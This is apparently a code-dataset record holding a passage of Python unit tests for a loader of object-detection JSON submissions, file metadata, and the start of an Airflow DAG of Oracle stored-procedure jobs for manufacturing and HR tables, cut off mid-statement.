img_dets = list(seq_dets[img_idx])
self.assertEqual(len(detections[img_idx]), len(img_dets))
def test_slice_end_index(self):
det = {
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}
detections = [
[det for _ in range(1)],
[det for _ in range(3)],
[det for _ in range(5)],
[det for _ in range(7)],
]
sequence_json = self.make_sequence(detections)
gen = submission_loader.read_sequence(sequence_json, end_index=3)
self.assertIsInstance(gen, types.GeneratorType)
seq_dets = list(gen)
self.assertEqual(3, len(seq_dets))
for img_idx in range(3):
self.assertIsInstance(seq_dets[img_idx], types.GeneratorType)
img_dets = list(seq_dets[img_idx])
self.assertEqual(len(detections[img_idx]), len(img_dets))
def test_slice_both(self):
det = {
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}
detections = [
[det for _ in range(1)],
[det for _ in range(3)],
[det for _ in range(5)],
[det for _ in range(7)],
]
sequence_json = self.make_sequence(detections)
gen = submission_loader.read_sequence(sequence_json, start_index=1, end_index=3)
self.assertIsInstance(gen, types.GeneratorType)
seq_dets = list(gen)
self.assertEqual(2, len(seq_dets))
for img_idx in range(2):
self.assertIsInstance(seq_dets[img_idx], types.GeneratorType)
img_dets = list(seq_dets[img_idx])
self.assertEqual(len(detections[img_idx + 1]), len(img_dets))
def test_returns_empty_generator_for_no_images(self):
sequence_json = self.make_sequence([])
gen = submission_loader.read_sequence(sequence_json)
self.assertIsInstance(gen, types.GeneratorType)
dets = list(gen)
self.assertEqual(dets, [])
def test_inner_generator_returns_detection_instances(self):
detections = [
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}],
[],
[],
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}, {
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}],
]
sequence_json = self.make_sequence(detections)
gen = submission_loader.read_sequence(sequence_json)
seq_dets = list(gen)
self.assertEqual(len(detections), len(seq_dets))
for img_idx in range(len(seq_dets)):
img_dets = list(seq_dets[img_idx])
self.assertEqual(len(detections[img_idx]), len(img_dets))
for det_idx in range(len(img_dets)):
self.assertIsInstance(img_dets[det_idx], data_holders.DetectionInstance)
expected_probs = detections[img_idx][det_idx]['label_probs']
expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32)
expected_list[0:len(expected_probs)] = expected_probs
self.assertNPEqual(expected_list, img_dets[det_idx].class_list)
def test_errors_contain_correct_image_numbers(self):
detections = [
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]]
}],
[],
[],
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]]
}, {
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 2], [2, 1]], [[1, 0], [0, 1]]]
}],
]
sequence_json = self.make_sequence(detections)
seq_gen = submission_loader.read_sequence(sequence_json)
# the first 3 images are fine
for _ in range(3):
next(seq_gen)
img_dets = next(seq_gen)
next(img_dets) # First detection is fine
with self.assertRaises(ValueError) as cm:
next(img_dets) # Second detection, fourth image has a problem
msg = str(cm.exception)
self.assertIn(os.path.basename(sequence_json), msg)
self.assertIn('3', msg)
self.assertIn('1', msg)
def test_errors_if_classes_missing(self):
detections = [
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]]
}],
[],
[],
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]]
}, {
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 2], [2, 1]], [[1, 0], [0, 1]]]
}],
]
patch_classes(detections)
os.makedirs(self.temp_dir, exist_ok=True)
json_file = os.path.join(self.temp_dir, 'test.json')
with open(json_file, 'w') as fp:
json.dump({
# 'classes': class_list.CLASSES,
'detections': detections
}, fp)
with self.assertRaises(KeyError) as cm:
next(submission_loader.read_sequence(json_file))
msg = str(cm.exception)
self.assertIn('test.json', msg)
def test_errors_if_detections_missing(self):
os.makedirs(self.temp_dir, exist_ok=True)
json_file = os.path.join(self.temp_dir, 'test.json')
with open(json_file, 'w') as fp:
json.dump({
'classes': class_list.CLASSES,
# 'detections': detections
}, fp)
with self.assertRaises(KeyError) as cm:
next(submission_loader.read_sequence(json_file))
msg = str(cm.exception)
self.assertIn('test.json', msg)
def test_errors_if_no_valid_classes(self):
detections = [
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]]
}],
[],
[],
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]]
}, {
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[1, 2], [2, 1]], [[1, 0], [0, 1]]]
}],
]
patch_classes(detections)
os.makedirs(self.temp_dir, exist_ok=True)
json_file = os.path.join(self.temp_dir, 'test.json')
with open(json_file, 'w') as fp:
json.dump({
'classes': [str(idx) for idx in range(len(class_list.CLASSES))],
'detections': detections
}, fp)
with self.assertRaises(ValueError) as cm:
next(submission_loader.read_sequence(json_file))
msg = str(cm.exception)
self.assertIn('test.json', msg)
class TestSubmissionLoaderReadSubmission(th.ExtendedTestCase):
temp_dir = os.path.join(os.path.dirname(__file__), 'temp')
def tearDown(self):
if os.path.isdir(self.temp_dir):
shutil.rmtree(self.temp_dir)
def make_submission(self, detections_map, subfolder=None):
root = self.temp_dir
if subfolder is not None:
root = os.path.join(self.temp_dir, subfolder)
os.makedirs(root, exist_ok=True)
for sequence_name, detections in detections_map.items():
json_file = os.path.join(root, '{0}.json'.format(sequence_name))
patch_classes(detections)
with open(json_file, 'w') as fp:
json.dump({
'classes': class_list.CLASSES,
'detections': detections
}, fp)
def test_returns_map_of_name_to_generator(self):
self.make_submission({'000000': [], '000001': []})
sequences = submission_loader.read_submission(self.temp_dir, {'000000', '000001'})
self.assertIn('000000', sequences)
self.assertIn('000001', sequences)
self.assertIsInstance(sequences['000000'], types.GeneratorType)
self.assertIsInstance(sequences['000001'], types.GeneratorType)
def test_finds_only_requested_sequences(self):
self.make_submission({'000000': [], '000001': []})
sequences = submission_loader.read_submission(self.temp_dir, {'000000'})
self.assertEqual({'000000'}, set(sequences.keys()))
self.assertIsInstance(sequences['000000'], types.GeneratorType)
def test_searches_for_sequences_in_subfolders(self):
self.make_submission({'000000': [], '000001': []}, 'folder_a')
self.make_submission({'000002': [], '000003': []}, 'folder_b')
sequence_names = {'000000', '000001', '000002', '000003'}
sequences = submission_loader.read_submission(self.temp_dir, sequence_names)
self.assertEqual(sequence_names, set(sequences.keys()))
self.assertIsInstance(sequences['000000'], types.GeneratorType)
self.assertIsInstance(sequences['000001'], types.GeneratorType)
self.assertIsInstance(sequences['000002'], types.GeneratorType)
self.assertIsInstance(sequences['000003'], types.GeneratorType)
def test_raises_error_if_duplicate_sequence(self):
self.make_submission({'000000': [], '000001': []}, 'folder_a')
self.make_submission({'000000': [], '000002': []}, 'folder_b')
sequence_names = {'000000', '000001', '000002'}
with self.assertRaises(ValueError) as cm:
submission_loader.read_submission(self.temp_dir, sequence_names)
msg = str(cm.exception)
self.assertIn('folder_a/000000.json', msg)
self.assertIn('folder_b/000000.json', msg)
def test_generators_read_sequences(self):
submission = {
'000000': [
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}],
[],
[],
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}, {
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}],
],
'000001': [
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}],
[],
[],
[{
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}, {
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55, 46],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}],
]
}
self.make_submission(submission)
sequences = submission_loader.read_submission(self.temp_dir, {'000000', '000001'})
for sequence_name, detections in submission.items():
self.assertIn(sequence_name, sequences)
seq_dets = list(sequences[sequence_name])
self.assertEqual(len(detections), len(seq_dets))
for img_idx in range(len(seq_dets)):
img_dets = list(seq_dets[img_idx])
self.assertEqual(len(detections[img_idx]), len(img_dets))
for det_idx in range(len(img_dets)):
self.assertIsInstance(img_dets[det_idx], data_holders.DetectionInstance)
expected_probs = detections[img_idx][det_idx]['label_probs']
expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32)
expected_list[0:len(expected_probs)] = expected_probs
self.assertNPEqual(expected_list, img_dets[det_idx].class_list)
self.assertNPEqual(img_dets[det_idx].box, detections[img_idx][det_idx]['bbox'])
def test_generators_slice_sequences(self):
def make_det(idx):
return {
'label_probs': [0.1, 0.2, 0.3, 0.4],
'bbox': [12, 14, 55 + idx, 46 + idx],
'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]]
}
submission = {
'000000': [
[make_det(idx) for idx in range(3)],
[make_det(idx) for idx in range(5)],
[make_det(idx) for idx in range(7)],
[make_det(idx) for idx in range(9)]
],
'000001': [
[make_det(idx) for idx in range(2)],
[make_det(idx) for idx in range(4)],
[make_det(idx) for idx in range(6)]
]
}
self.make_submission(submission)
sequences = submission_loader.read_submission(self.temp_dir, {'000000', '000001'}, start_index=1, end_index=5)
for sequence_name in submission.keys():
self.assertIn(sequence_name, sequences)
seq_dets = list(sequences[sequence_name])
detections = submission[sequence_name][1:5]
self.assertEqual(len(detections), len(seq_dets))
for img_idx in range(len(seq_dets)):
img_dets = list(seq_dets[img_idx])
self.assertEqual(len(detections[img_idx]), len(img_dets))
for det_idx in range(len(img_dets)):
self.assertIsInstance(img_dets[det_idx], data_holders.DetectionInstance)
self.assertNPEqual(img_dets[det_idx].box, detections[img_idx][det_idx]['bbox'])
def patch_classes(detections):
# Patch the label probabilities to be the right length
for img_dets in detections:
for det in img_dets:
if len(det['label_probs']) < len(class_list.CLASSES):
det['label_probs'] = make_probs(det['label_probs'])
def make_probs(probs):
full_probs = [0.0] * len(class_list.CLASSES)
full_probs[0:len(probs)] = probs
return full_probs
| 43.172131
| 118
| 0.529941
| 3,392
| 26,335
| 3.923054
| 0.061026
| 0.024498
| 0.027053
| 0.030059
| 0.825355
| 0.793267
| 0.778838
| 0.749981
| 0.744345
| 0.703615
| 0
| 0.080222
| 0.3075
| 26,335
| 609
| 119
| 43.243021
| 0.649449
| 0.010328
| 0
| 0.70073
| 0
| 0
| 0.061257
| 0
| 0
| 0
| 0
| 0
| 0.169708
| 1
| 0.069343
| false
| 0
| 0.018248
| 0.001825
| 0.10219
| 0.001825
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
dbde5856a3a92680e89447e62c44db3d2cdb12d4
| 37,344
|
py
|
Python
|
etl_base/dags/sqlg_jobs_MFG.py
|
buckylee2019/sqlg-airflow
|
37610a23b99bea8d9fdc8b066a01736ff2ff0c9d
|
[
"Apache-2.0"
] | null | null | null |
etl_base/dags/sqlg_jobs_MFG.py
|
buckylee2019/sqlg-airflow
|
37610a23b99bea8d9fdc8b066a01736ff2ff0c9d
|
[
"Apache-2.0"
] | null | null | null |
etl_base/dags/sqlg_jobs_MFG.py
|
buckylee2019/sqlg-airflow
|
37610a23b99bea8d9fdc8b066a01736ff2ff0c9d
|
[
"Apache-2.0"
] | 1
|
2022-03-10T03:47:35.000Z
|
2022-03-10T03:47:35.000Z
|
# -*- coding: utf-8 -*-
# Author : Jesse Wei
# LastUpdate : 2020/10/04
# Impact : Jobs generated by SQLG
# Message : Humanity towards others, we live by sharing. Fear can hold you prisoner, only hope can set you free.
# from __future__ import print_function
import logging
import airflow
from datetime import datetime, timedelta
from airflow.operators.sensors import ExternalTaskSensor
from airflow.operators.python_operator import PythonOperator
from airflow.operators.bash_operator import BashOperator
from airflow.contrib.sensors.file_sensor import FileSensor
from airflow import models
from airflow.models import Variable
from acme.operators.sqlg_oracle import OracleOperatorWithTemplatedParams
from airflow.operators.oracle_operator import OracleOperator
# DB_NAME = 'DWH'
# JOB_TYPE=ODS-MAIN
my_taskid = "MV_HR_EMPMSF_H"
MV_HR_EMPMSF_H = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "MV_HR_EMPMSF_CN_H"
MV_HR_EMPMSF_CN_H = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "MV_HR_EMPMSF_VN_H"
MV_HR_EMPMSF_VN_H = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "HR_DEPMSF_H"
HR_DEPMSF_H = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "HR_DEPMSF_CN_H"
HR_DEPMSF_CN_H = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "HR_DEPMSF_VN_H"
HR_DEPMSF_VN_H = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "ABNORMAL_DETAIL_NQJ"
ABNORMAL_DETAIL_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "ABNORMAL_DETAIL_VN1"
ABNORMAL_DETAIL_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "ABNORMAL_DETAIL_WS1"
ABNORMAL_DETAIL_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "ABNORMAL_DETAIL_WS2"
ABNORMAL_DETAIL_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "ASS_RESULT_NQJ"
ASS_RESULT_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "ASS_RESULT_WS1"
ASS_RESULT_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "ASS_RESULT_WS2"
ASS_RESULT_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "ASS_STAGE_NQJ"
ASS_STAGE_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "ASS_STAGE_WS1"
ASS_STAGE_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "ASS_STAGE_WS2"
ASS_STAGE_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "BI_DIMBUDESC"
BI_DIMBUDESC = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "BU_NQJ"
BU_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "BU_WS1"
BU_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "BU_WS2"
BU_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "LINE_LIST_NQJ"
LINE_LIST_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "LINE_LIST_VN1"
LINE_LIST_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "LINE_LIST_WS1"
LINE_LIST_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "LINE_LIST_WS2"
LINE_LIST_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "LINE_NQJ"
LINE_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "LINE_NQX"
LINE_NQX = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "LINE_VN1"
LINE_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "LINE_WS1"
LINE_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "LINE_WS2"
LINE_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "MV_XX_MTL_ITEM_CATEGORY"
MV_XX_MTL_ITEM_CATEGORY = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SMT_LINE_NQJ"
SMT_LINE_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SMT_LINE_VN1"
SMT_LINE_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SMT_LINE_WS1"
SMT_LINE_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SMT_LINE_WS2"
SMT_LINE_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SPN_TABL_WS1"
SPN_TABL_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SPN_TABL_WS2"
SPN_TABL_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SPN_TABL_NQJ"
SPN_TABL_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SPN_TABL_NQJ"
SPN_TABL_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SPN_TABL_NQX"
SPN_TABL_NQX = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "SPN_TABL_VN1"
SPN_TABL_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "STAGE_WS1"
STAGE_WS1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "STAGE_WS2"
STAGE_WS2 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "STAGE_NQJ"
STAGE_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "STAGE_NQX"
STAGE_NQX = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "STAGE_VN1"
STAGE_VN1 = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WIP_DISCRETE_JOBS"
WIP_DISCRETE_JOBS = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WIP_ENTITIES"
WIP_ENTITIES = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "WIP_LINES"
WIP_LINES = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "XXWIP_STOREIN_USAGE_TEMP"
XXWIP_STOREIN_USAGE_TEMP = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
":END_DT_CHAR"+
"); End;"
)
# JOB_TYPE=ODS-MAIN
my_taskid = "CHANGE_LINE_NQJ"
CHANGE_LINE_NQJ = OracleOperatorWithTemplatedParams(
task_id=my_taskid,
parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}),
sql= "Begin SQLEXT." + my_taskid + "_SP("+
